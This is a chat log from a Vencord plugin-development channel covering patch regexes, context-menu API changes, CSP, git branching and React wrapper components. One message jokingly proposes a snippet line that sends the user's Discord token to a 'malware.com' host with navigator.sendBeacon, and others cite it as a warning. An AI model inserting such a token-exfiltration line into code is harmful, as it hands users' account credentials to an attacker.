cleanupState = undefined;
actualState = undefined;
},
contextMenus: {
"user-context": AddBotMenuPatch
},
stop() {
if (cleanupState !== undefined) {
for (const k in cleanupState) {
actualState[k] = cleanupState[k];
}
}
},
but it still didn't work (and it looks like contextMenus just makes calls to addContextMenuPatch anyways?)
correct
the api change was very minor
where before you returned a function from your function (to only run once), you now directly do your stuff
so assuming your AddBotMenuPatch is defined as a
const a = (children, props) => () => {
just remove the extra () =>
you can see that change in all the changed plugins in the commit you linked, but it's a very minor change so you probably just overlooked it
before, it was a very ugly workaround we added
but now it's cleaned up and that magic isn't required anymore and hooks are fully usable and reactive now
yay
but janky bandaid patches are always fun 9 months down the road
Don't you love it when the .git is 5x larger than the project?
probably wont be a vencord plugin but it will come to vesktop eventually
anyone know how to bypass discord csp?
I cant do it over meta tags because they apparently arent allowed to be more relaxed than the header ones
lel
im trying to load images from a domain that discord doesnt allow
to allow custom banner images
does vencord override csp somehow? or do they only use allowed domains?
for their assets
- what domain
- why
- what error do you get
my own domain, im testing out profile banners on my bot and I dont want to wait 10m for the cooldown, I get a csp error
show the error
oh nvm just installed vencord again
it seems like they already bypass the csp?
cause it seems to not be giving the error anymore
On vencord
damn nice theme
getting error on non vencord now
this is what it shows when not using vencord
so they must be patching it out somehow
this is vencord plugin development. why ask how to do things without vencord
makes no sense
sorry
read source code and you'll figure it out
Most useless censor ever 💀
What's a xci?
Rom or something?
yea don't send links to pirated content :p
Lmao mb
how do i "reload" vencord everytime i make a change to my plugin?
ctrl r
ty
hm
this gave me an idea
@dull magnet @quasi sentinel what if DevCompanion could include some kind of packet to reload the window, and pnpm watch could request vscode to forward a request to the Vencord client to reload every time a change is built
ofc this would need to have a toggle, for example people like me often have stuff open in DevTools and that would be super annoying to lose it every time you saved a plugin
btw, is there a tutorial/base template for plugins?
maybe this could instead show a notice in the app to tell the user local changes have been made and to reload to apply them
there are basic docs but there is no template afaik
but u can also just copy paste a different plugin as template
i have been doing this all along

create a new file
type vcPlugin and hit tab
oh
this does actually seem like a very cool plug-in at least as a #1032200195582197831 since the average Vencord user would have no reason to use it
ok guys now just add navigator.sendBacon("https://malware.com",{token:getToken()}) to your snippets
aaaaaaaaaaand this is why we are not building betterdiscord 2
Me fr^
is having contributor badge normal on dev builds?
the badge is based on who's listed in the devs object found in utils/constants
so if you added yourself to that, yes
just have it normally ez
this requires vee to review PRs which happens very rare!y
other ppl have merge perms and anyone can review uknow lol
just people typically wait on v
I know that
i should really finish https://gist.github.com/Vendicated/e52535b239d11f344f536d4fdea40fe3
and replace the current docs with it
cause this actually explains way more things and also tells you how to set up dev environment correctly and about the vencord companion ext
🙏 thank you for the link
ok, i think the setup is all done, so i will eat a tamale and then go to sleep
and tomorrow resume
i think documenting regex for patches is a good idea, afaik \i is non-standard
I might have brain damage but how do i make custom plugins like there is no /src folder how am i supposed to make a userplugins folder 
There is no src there is no userplugins instructions unclear deleted system32
oh nevermind, I have the braindamage I thought I had!
and you have to manually create userplugins folder
...
Hi, I've got a question, I'm making a little plugin, and I want to add a MessageAccessory inside of a pre-existing discord-made accessory, is that possible or is the MessageAccessoryAPI purely for adding new ones to the container?
For changing existing stuff you usually want patches
They seemed complicated, so I tried to stay away, but if that's the only way, I guess I'll try to dabble.
if you know regex it's fairly simple
basically you just find the part of discord code you want to change the behaviour of, write a regex to match that code and any variables you need, then replace it with ur custom code
no clue what a tamale is but hope yours was nice 
the variables part is what baffles me, I'll try in the future again, hopefully. Thanks!
you might not actually have to match any variables
i need to get URLs and IDs, so I thought I would

if you're inside a plain function and the data you need is part of its arguments, you can cheat and use arguments[0] to access the first argument
Just to check if I'm getting this right
If I do js patches: [{ find: ".memo(function(e){", replacement: {...} }] I have access to the e variable?
(memo is used a lot, but just an example)
no
The I understand absolutely nothing and better go read the docs if they even exist
find = some string that is unique to your module to locate the module
replacement.match = regex matcher that matches the part of the code inside the located module that you want to change
replacement.replace = replacement code for the match. can use capture groups from the matcher to use variables and such
you make a corn dough and spread it on a corn husk, then add toppings and wrap it up and steam it. it makes like a soft dumpling/burrito type thing and it's really easy to make a lot of them at once. it was very tasty. 🙏
now that i have slept i notice
install the extensions recommended by Vencord.
but i don't remember if i saw a list of optional/recommended extensions anywhere. i got the essential/required ones at least
oh, i see, it recommends them when i load the project
i need to revise that list
it recommends some subjective/niche extensions
idk why i did that
i want to change it to only the essentials
i like them but i suppose it might be annoying to be recommended one if you don't want to use it.
but it's a bit more newbie-friendly to have the recommendations
for example the json2ts extension
i use it to generate types for discord data structures so i can type webpack modules, but for the average developer i don't think they're ever gonna use it
yeah fixed ages ago on dev branch
uagh it's all obfuscated/minified
you get used to it! make sure you enable pretty print and it's quite simple
I have this hook, does using it in a patched component like so actually works?
It's not running when the component is unmouted
I am
hmm odd
add a console log to make sure it actually runs
oh wait I think it's running but some shit isnt working right
oh I see
I'm just dumb and forgot to add empty dependency array on another useEffect
@dull magnet look at this fucking module I had to make find accept array of strings too because of it
it's impossible to match only this, the other module about channels rows has all similar stuff
so I had to
If I decide to open a PR for a plugin submission, do I edit Devs to add myself? or do I leave that alone?
if you made a plugin then yes
I will preface this by saying - this is my first open-source contribution ever.
When contributing, do I fork just the main branch or all of them?
Do I create a new branch for my plugin?
Do I merge the dev branch to my plugin's branch or the main one?
i recommend keeping all branches
and yes always create a new branch for your prs
a feature branch
name it after the feature
Didn't even know there were different types of branches, thank you.
there aren't
it's just called feature branch
because it's a branch specifically made for a feature
it's different from a permanent branch like main or dev because it only serves for making one feature then gets deleted once merged
every time you work on a feature you make one feature branch
so let's say you make a plugin called foo and a plugin called bar, then you'd make two separate branches plugin-foo and plugin-bar and create two prs from those two branches. once the pr is merged you delete that branch
keeps everything tidy and clean
vencord is 100% a project that you NEED to take advantage of branches in while developing
uhh is this a bad regex patch?
{
find: "this.isJoinableActivity()||",
replacement: {
match: /(this\.isJoinableActivity\(\).{0,200}children:)(\(.{0,750}\))(}\))/,
replace: "$1[$2,$self.test()]$3"
}
}
I'm adding a child to a component that has like children: (0,l.jsxs)(e) so I'm turning it into children: [(0,l.jsxs)(e), self.test()]
but i dont quite like the regex match because its kinda weird i wanted yall opinion on it
yeah the blue-highlighted children
it is slowly occurring to me that an image downloader plugin will have to be implemented differently for vesktop vs. browser vencord since electron handles file system access differently from a web browser.
among other differences, electron can generate a folder picker dialog (such as what's used for Vencord Location in vesktop settings) while a browser can at best use an input field with the webkitdirectory attribute.
i see this notice on the browser download so it's probably fine to just implement it as a desktop-only plugin first?
yes
its not possible to do on web
you can mark your plugin as desktop only by naming your plugin folder foo.desktop
you could use https://developer.mozilla.org/en-US/docs/Web/API/File_System_API on web but it would be such a pain
well its always a bit awkward to match something like that.
my suggestion is to change the code to:
children: (0,
l.jsxs)($self.WrapperComponent, {
className: eT.body,
children: [(()=>null == n || a && (null == s ? void 0 : s.pid) == null ? null != t ? this.renderEmbeddedActivity() : this.renderScreenshare() : this.renderGame())(), this.renderActions()]
})
a that seems better ill do
function WrapperComponent(props: PropsWithChildren<any>) {
return (
<>
<p>My own thing</p>
<div {...props}>{props.children}</div>
</>
)
}
in this case its easy cause the normal element is a div, otherwise you could do like
children: (0,
l.jsxs)($self.WrapperComponent, {
OriginalComponent: $1,
className: eT.body,
children: [(()=>null == n || a && (null == s ? void 0 : s.pid) == null ? null != t ? this.renderEmbeddedActivity() : this.renderScreenshare() : this.renderGame())(), this.renderActions()]
})
function WrapperComponent({ children, OriginalComponent, ...restProps }: PropsWithChildren<any>) {
return (
<>
<p>My own thing</p>
<OriginalComponent {...restProps}>{children}</OriginalComponent>
</>
)
}

is it ok if i make it only match div or should i use a patch that'd let other plugins add their own component as well with the same patch if they needed to
naaah just go the easy route
okii
never overengineer
Conflicting patches is something you can worry about if patches conflict



